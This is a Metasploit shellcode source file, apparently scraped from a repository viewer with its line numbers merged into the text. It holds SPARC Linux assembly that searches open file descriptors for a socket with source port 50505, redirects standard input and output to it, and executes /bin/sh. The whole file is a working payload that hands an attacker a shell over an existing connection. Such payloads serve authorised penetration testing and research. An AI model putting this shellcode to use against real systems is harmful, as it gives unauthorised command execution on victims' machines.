Path: blob/master/external/source/shellcode/linux/sparc/single_findsock.s
19567 views
##1#2# Name: single_findsock3# Platforms: Linux4# Authors: vlad902 <vlad902 [at] gmail.com>5# Version: $Revision: 1991 $6# License:7#8# This file is part of the Metasploit Exploit Framework9# and is subject to the same licenses and copyrights as10# the rest of this package.11#12# Description:13#14# Search file descriptors based on source port.15#16##1718.globl main1920main:21# l6 is set here with the port22set 50505, %l623andn %sp, 7, %sp2425xor %o2, %o2, %o026st %o0, [ %sp - 0x20 ]2728getpeername_loop:29add %o0, 1, %o030and %o0, 4095, %o03132mov 0x10, %o333sub %sp, 0x04, %o234sub %sp, 0x20, %o13536std %o0, [ %sp - 0x10 ]37std %o2, [ %sp - 0x08 ]3839sub %sp, 0x10, %o140mov 7, %o041mov 0xce, %g142ta 0x104344mov 3, %o145lduh [ %sp - 0x1e ], %l546xorcc %l5, %l6, %i547bnz getpeername_loop48dup2_loop:49ld [ %sp - 0x10 ], %o05051subcc %o1, 1, %o152mov 0x5a, %g153ta 0x105455bnz dup2_loop5657xor %o3, %o3, %o358set 0x2f62696e, %l059set 0x2f736800, %l160sub %sp, 0x10, %o061sub %sp, 0x08, %o162std %l0, [ %sp - 0x10 ]63st %o0, [ %sp - 0x08 ]64st %g0, [ %sp - 0x04 ]65mov 0x3b, %g166ta 0x08676869